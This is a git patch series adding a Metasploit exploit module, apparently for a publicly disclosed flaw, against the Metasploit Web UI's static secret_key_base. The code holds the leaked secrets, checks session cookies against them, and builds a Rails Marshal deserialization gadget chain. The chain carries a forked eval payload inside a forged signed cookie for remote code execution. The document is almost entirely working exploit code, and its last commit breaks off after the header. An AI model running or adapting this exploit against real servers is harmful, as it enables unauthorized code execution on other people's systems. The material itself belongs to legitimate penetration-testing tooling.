From a1ca27d49152ee839fca6e848ed7a420504f3af6 Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Tue, 20 Sep 2016 07:04:00 +1000 Subject: [PATCH 1/4] add module metasploit_static_secret_key_base --- .../http/metasploit_static_secret_key_base.rb | 348 ++++++++++++++++++ 1 file changed, 348 insertions(+) create mode 100644 modules/exploits/multi/http/metasploit_static_secret_key_base.rb diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb new file mode 100644 index 0000000000..d9e36eb99c --- /dev/null +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -0,0 +1,348 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + #Helper Classes copy/paste from Rails4 + class MessageVerifier + + class InvalidSignature < StandardError; end + + def initialize(secret, options = {}) + @secret = secret + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal + end + + def generate(value) + data = ::Base64.strict_encode64(@serializer.dump(value)) + "#{data}--#{generate_digest(data)}" + end + + def generate_digest(data) + require 'openssl' unless defined?(OpenSSL) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) + end + + end + + class MessageEncryptor + + module NullSerializer #:nodoc: + + def self.load(value) + value + end + + def self.dump(value) + value + end + + end + + class InvalidMessage < StandardError; end + + OpenSSLCipherError = OpenSSL::Cipher::CipherError + + def initialize(secret, *signature_key_or_options) + options = signature_key_or_options.extract_options! + sign_secret = signature_key_or_options.first + @secret = secret + @sign_secret = sign_secret + @cipher = options[:cipher] || 'aes-256-cbc' + @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) + # @serializer = options[:serializer] || Marshal + end + + def encrypt_and_sign(value) + @verifier.generate(_encrypt(value)) + end + + def _encrypt(value) + cipher = new_cipher + cipher.encrypt + cipher.key = @secret + # Rely on OpenSSL for the initialization vector + iv = cipher.random_iv + #encrypted_data = cipher.update(@serializer.dump(value)) + encrypted_data = cipher.update(value) + encrypted_data << cipher.final + [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") + end + + def new_cipher + OpenSSL::Cipher::Cipher.new(@cipher) + end + + end + + class KeyGenerator + + def initialize(secret, options = {}) + @secret = secret + @iterations = options[:iterations] || 2**16 + end + + def generate_key(salt, key_size=64) + OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) + end + + end + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit Web UI Static secret_key_base Value', + 'Description' => %q{ + This module exploits the Web UI for Metasploit Community, Express and + Pro where one of a certain set of Weekly Releases have been applied. + These Weekly Releases introduced a static secret_key_base value. + Knowledge of the static secret_key_base value allows for + deserialization of a crafted Ruby Object, achieving code execution. + + This module is based on + exploits/multi/http/rails_secret_deserialization + }, + 'Author' => + [ + 'Justin Steven', # @justinsteven + 'joernchen of Phenoelit ' # author of rails_secret_deserialization + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OVE', '20160904-0002'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'], + ['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md'] + ], + 'DisclosureDate' => 'Sep 15 2016', + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => + [ + ['Metasploit 4.12.0-2016061501 to 4.12.0-2016083001', + { + 'RAILSVERSION' => 4, # The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4) + 'HTTP_METHOD' => 'GET', # The HTTP request method (GET, POST, PUT typically work) + 'COOKIE_NAME' => '_ui_session', # The name of the session cookie + 'DIGEST_NAME' => 'SHA1', # The digest type used to HMAC the session cookie + 'SALTENC' => 'encrypted cookie', # The encrypted cookie salt + 'SALTSIG' => 'signed encrypted cookie', # The signed encrypted cookie salt + 'SECRETS' => [ + 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501 + '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101 + '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501 + '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001 + '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201 + '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001 + 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build + ] + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true + } + )) + + register_options( + [ + Opt::RPORT(3790), + OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]), + ], self.class) + end + + + # + # This stub ensures that the payload runs outside of the Rails process + # Otherwise, the session can be killed on timeout + # + def detached_payload_stub(code) + %Q^ + code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first + if RUBY_PLATFORM =~ /mswin|mingw|win32/ + inp = IO.popen("ruby", "wb") rescue nil + if inp + inp.write(code) + inp.close + end + else + Kernel.fork do + eval(code) + end + end + {} + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") + end + + def check_secret(data, digest, secret) + data = Rex::Text.uri_decode(data) + if target['RAILSVERSION'] == 3 + sigkey = secret + elsif target['RAILSVERSION'] == 4 + keygen = KeyGenerator.new(secret,{:iterations => 1000}) + sigkey = keygen.generate_key(target['SALTSIG']) + end + digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(target['DIGEST_NAME']), sigkey, data) + end + + def get_secret(data, digest) + for secret in target['SECRETS'] + return secret if check_secret(data, digest, secret) + end + nil + end + + def rails_4(secret) + keygen = KeyGenerator.new(secret,{:iterations => 1000}) + enckey = keygen.generate_key(target['SALTENC']) + sigkey = keygen.generate_key(target['SALTSIG']) + crypter = MessageEncryptor.new(enckey, sigkey) + crypter.encrypt_and_sign(build_cookie) + end + + def rails_3(secret) + # Sign it with the secret_token + data = build_cookie + digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), secret, data) + marshal_payload = Rex::Text.uri_encode(data) + "#{marshal_payload}--#{digest}" + end + + def build_cookie + + # Embed the payload with the detached stub + code = + "eval('" + + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + + "'.unpack('m0').first)" + + if target['RAILSVERSION'] == 4 + return "\x04\b" + + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + + ":\x0E@instanceo" + + ":\bERB\x07" + + ":\t@src"+ Marshal.dump(code)[2..-1] + + ":\x0c@lineno"+ "i\x00" + + ":\f@method:\vresult:" + + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" + end + if target['RAILSVERSION'] == 3 + return Rex::Text.encode_base64 "\x04\x08" + + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + + ":\x0E@instance" + + "o"+":\x08ERB"+"\x07" + + ":\x09@src" + + Marshal.dump(code)[2..-1] + + ":\x0c@lineno"+ "i\x00" + + ":\x0C@method"+":\x0Bresult" + end + end + + def check + cookie_name = target['COOKIE_NAME'] + + vprint_status("Checking for cookie #{target['COOKIE_NAME']}") + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => target['HTTP_METHOD'], + }, 25) + + unless res + return Exploit::CheckCode::Unknown # Target didn't respond + end + + if res.get_cookies.empty? + return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue. + end + + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + + unless match + return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue. + end + + if match[1] == target['COOKIE_NAME'] + vprint_status("Found cookie") + else + vprint_status("Adjusting cookie name to #{match[1]}") + cookie_name = match[1] + end + + vprint_status("Searching for proper SECRET") + + if get_secret(match[2], match[3]) + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + # + # Send the actual request + # + def exploit + cookie_name = target['COOKIE_NAME'] + + print_status("Checking for cookie #{target['COOKIE_NAME']}") + + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => target['HTTP_METHOD'], + }, 25) + + unless res + fail_with(Failure::Unreachable, "Target didn't respond") + end + + if res.get_cookies.empty? + fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.") + end + + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + + unless match + fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.") + end + + if match[1] == target['COOKIE_NAME'] + vprint_status("Found cookie") + else + print_status("Adjusting cookie name to #{match[1]}") + cookie_name = match[1] + end + + print_status("Searching for proper SECRET") + + secret = get_secret(match[2], match[3]) + + unless secret + fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") + end + + if target['RAILSVERSION'] == 3 + cookie = rails_3(secret) + elsif target['RAILSVERSION'] == 4 + cookie = rails_4(secret) + end + + print_status "Sending cookie #{cookie_name}" + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => target['HTTP_METHOD'], + 'headers' => {'Cookie' => cookie_name+"="+ cookie}, + }, 25) + + handler + end + +end From 30d07ce0c75643f9dcd4fad6a3d671cff5f8a58b Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Wed, 21 Sep 2016 19:56:10 +1000 Subject: [PATCH 2/4] Tidy metasploit_static_secret_key_base module * Inline magic values * Optimise out dead Rails3-specific code --- .../http/metasploit_static_secret_key_base.rb | 119 ++++++------------ 1 file changed, 39 insertions(+), 80 deletions(-) diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb index d9e36eb99c..dce0fadeec 100644 --- a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -125,28 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, - 'Targets' => - [ - ['Metasploit 4.12.0-2016061501 to 4.12.0-2016083001', - { - 'RAILSVERSION' => 4, # The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4) - 'HTTP_METHOD' => 'GET', # The HTTP request method (GET, POST, PUT typically work) - 'COOKIE_NAME' => '_ui_session', # The name of the session cookie - 'DIGEST_NAME' => 'SHA1', # The digest type used to HMAC the session cookie - 'SALTENC' => 'encrypted cookie', # The encrypted cookie salt - 'SALTSIG' => 'signed encrypted cookie', # The signed encrypted cookie salt - 'SECRETS' => [ - 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501 - '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101 - '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501 - '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001 - '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201 - '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001 - 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build - ] - } - ] - ], + 'Targets' => [ ['Automatic', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { @@ -186,75 +165,59 @@ class MetasploitModule < Msf::Exploit::Remote def check_secret(data, digest, secret) data = Rex::Text.uri_decode(data) - if target['RAILSVERSION'] == 3 - sigkey = secret - elsif target['RAILSVERSION'] == 4 - keygen = KeyGenerator.new(secret,{:iterations => 1000}) - sigkey = keygen.generate_key(target['SALTSIG']) - end - digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(target['DIGEST_NAME']), sigkey, data) + keygen = KeyGenerator.new(secret,{:iterations => 1000}) + sigkey = keygen.generate_key('signed encrypted cookie') + digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data) end def get_secret(data, digest) - for secret in target['SECRETS'] + secrets = [ + 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501 + '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101 + '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501 + '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001 + '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201 + '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001 + 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build + ] + for secret in secrets return secret if check_secret(data, digest, secret) end nil end - def rails_4(secret) + def build_signed_cookie(secret) keygen = KeyGenerator.new(secret,{:iterations => 1000}) - enckey = keygen.generate_key(target['SALTENC']) - sigkey = keygen.generate_key(target['SALTSIG']) + enckey = keygen.generate_key('encrypted cookie') + sigkey = keygen.generate_key('signed encrypted cookie') crypter = MessageEncryptor.new(enckey, sigkey) - crypter.encrypt_and_sign(build_cookie) - end - def rails_3(secret) - # Sign it with the secret_token - data = build_cookie - digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), secret, data) - marshal_payload = Rex::Text.uri_encode(data) - "#{marshal_payload}--#{digest}" - end - - def build_cookie - - # Embed the payload with the detached stub + # Embed the payload within detached stub code = "eval('" + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + "'.unpack('m0').first)" - if target['RAILSVERSION'] == 4 - return "\x04\b" + - "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + - ":\x0E@instanceo" + - ":\bERB\x07" + - ":\t@src"+ Marshal.dump(code)[2..-1] + - ":\x0c@lineno"+ "i\x00" + - ":\f@method:\vresult:" + - "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" - end - if target['RAILSVERSION'] == 3 - return Rex::Text.encode_base64 "\x04\x08" + - "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + - ":\x0E@instance" + - "o"+":\x08ERB"+"\x07" + - ":\x09@src" + - Marshal.dump(code)[2..-1] + - ":\x0c@lineno"+ "i\x00" + - ":\x0C@method"+":\x0Bresult" - end + # Embed code within Rails 4 popchain + cookie = "\x04\b" + + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + + ":\x0E@instanceo" + + ":\bERB\x07" + + ":\t@src"+ Marshal.dump(code)[2..-1] + + ":\x0c@lineno"+ "i\x00" + + ":\f@method:\vresult:" + + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" + + crypter.encrypt_and_sign(cookie) end def check - cookie_name = target['COOKIE_NAME'] + cookie_name = '_ui_session' - vprint_status("Checking for cookie #{target['COOKIE_NAME']}") + vprint_status("Checking for cookie #{cookie_name}") res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", - 'method' => target['HTTP_METHOD'], + 'method' => 'GET', }, 25) unless res @@ -271,7 +234,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue. end - if match[1] == target['COOKIE_NAME'] + if match[1] == cookie_name vprint_status("Found cookie") else vprint_status("Adjusting cookie name to #{match[1]}") @@ -291,13 +254,13 @@ class MetasploitModule < Msf::Exploit::Remote # Send the actual request # def exploit - cookie_name = target['COOKIE_NAME'] + cookie_name = '_ui_session' - print_status("Checking for cookie #{target['COOKIE_NAME']}") + print_status("Checking for cookie #{cookie_name}") res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", - 'method' => target['HTTP_METHOD'], + 'method' => 'GET', }, 25) unless res @@ -314,7 +277,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.") end - if match[1] == target['COOKIE_NAME'] + if match[1] == cookie_name vprint_status("Found cookie") else print_status("Adjusting cookie name to #{match[1]}") @@ -329,16 +292,12 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") end - if target['RAILSVERSION'] == 3 - cookie = rails_3(secret) - elsif target['RAILSVERSION'] == 4 - cookie = rails_4(secret) - end + cookie = build_signed_cookie(secret) print_status "Sending cookie #{cookie_name}" res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", - 'method' => target['HTTP_METHOD'], + 'method' => 'GET', 'headers' => {'Cookie' => cookie_name+"="+ cookie}, }, 25) From 1e2456840695e1a3fd3376ba0ea558cd0ffca580 Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Wed, 21 Sep 2016 20:09:01 +1000 Subject: [PATCH 3/4] Tweak verbosity re: found secrets --- .../http/metasploit_static_secret_key_base.rb | 31 +++++++++++-------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb index dce0fadeec..8840c3449d 100644 --- a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -172,18 +172,18 @@ class MetasploitModule < Msf::Exploit::Remote def get_secret(data, digest) secrets = [ - 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501 - '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101 - '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501 - '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001 - '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201 - '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001 - 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build + ['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'], + ['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'], + ['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'], + ['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'], + ['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'], + ['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'], + ['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c'] ] for secret in secrets - return secret if check_secret(data, digest, secret) + return secret if check_secret(data, digest, secret[1]) end - nil + [nil, nil] end def build_signed_cookie(secret) @@ -241,9 +241,12 @@ class MetasploitModule < Msf::Exploit::Remote cookie_name = match[1] end - vprint_status("Searching for proper SECRET") + vprint_status("Searching for proper secret") - if get_secret(match[2], match[3]) + (version, secret) = get_secret(match[2], match[3]) + + if secret + vprint_status("Found secret, detected version #{version}") Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -284,14 +287,16 @@ class MetasploitModule < Msf::Exploit::Remote cookie_name = match[1] end - print_status("Searching for proper SECRET") + print_status("Searching for proper secret") - secret = get_secret(match[2], match[3]) + (version, secret) = get_secret(match[2], match[3]) unless secret fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") end + print_status("Found secret, detected version #{version}") + cookie = build_signed_cookie(secret) print_status "Sending cookie #{cookie_name}" From dcfbb9ee6a1dfa41a0bb264a1cf6520b45ce4ed5 Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Wed, 21 Sep 2016 20:11:16 +1000 Subject: [PATCH 4/4] Tidy info Replace errant \t with \x20 --- 